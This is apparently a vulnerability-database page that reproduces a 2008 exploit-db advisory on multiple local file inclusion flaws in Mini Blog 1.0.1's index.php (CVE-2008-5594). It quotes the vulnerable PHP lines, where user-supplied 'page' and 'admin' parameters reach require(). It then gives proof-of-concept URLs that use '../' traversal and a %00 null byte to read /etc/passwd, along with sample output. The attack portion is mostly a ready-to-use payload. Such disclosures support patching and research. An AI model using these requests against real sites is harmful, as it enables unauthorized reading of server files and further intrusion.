Lucene search
+L

Mini Blog 1.0.1 - 'index.php' Multiple Local File Inclusions

🗓️ 07 Dec 2008 00:00:00Reported by cOndemnedType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 29 Views

Mini Blog 1.0.1 'index.php' Multiple Local File Inclusions vulnerability discovered by cOndemne

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2008-5594
7 Dec 200800:00
circl
cve
CVE
CVE-2008-5594
16 Dec 200818:00
cve
cvelist
Cvelist
CVE-2008-5594
16 Dec 200818:00
cvelist
euvd
EUVD
EUVD-2008-5569
7 Oct 202500:30
euvd
nvd
NVD
CVE-2008-5594
16 Dec 200819:07
nvd
prion
Prion
Directory traversal
16 Dec 200819:07
prion
/*

	$Id: miniblog-1.0.1-lfi.txt,v 0.1 2008/12/06 04:06:00 cOndemned Exp $

	Mini Blog 1.0.1 (index.php) Multiple Local File Inclusion Vulnerabilities
	Discovered by cOndemned

	Download : http://www.bpowerhouse.info/mini_blog.htm

	Greetz : ZaBeaTy, str0ke, d2, sid.psycho, Adish, TBH & Avantura ;*

*/

Source of index.php

	[...]

	7.	$page = !empty($_GET['page']) ? $_GET['page'] : "";
	8.	$admin = !empty($_GET['admin']) ? $_GET['admin'] : "";

	[...]

	77.	if (($page != "") && file_exists("page/" . $page . ".php")) {
	78.		require("page/" . $page . ".php");
	79.	} else if (($admin != "") && file_exists("admin/" . $admin . ".php")) {
	80.		require("admin/" . $admin . ".php");

	[...]


Proof of Concept

	http://[host]/[mini_blog_1.0.1_path]/index.php?page=../../../../[local_file]%00
	http://[host]/[mini_blog_1.0.1_path]/index.php?admin=../../../../[local_file]%00

	for example request :

	http://[host]/[mini_blog_1.0.1_path]/index.php?page=../../../../../etc/passwd%00

	...might give result like this :

	root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon...


EoF

# milw0rm.com [2008-12-07]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Dec 2008 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.02501
29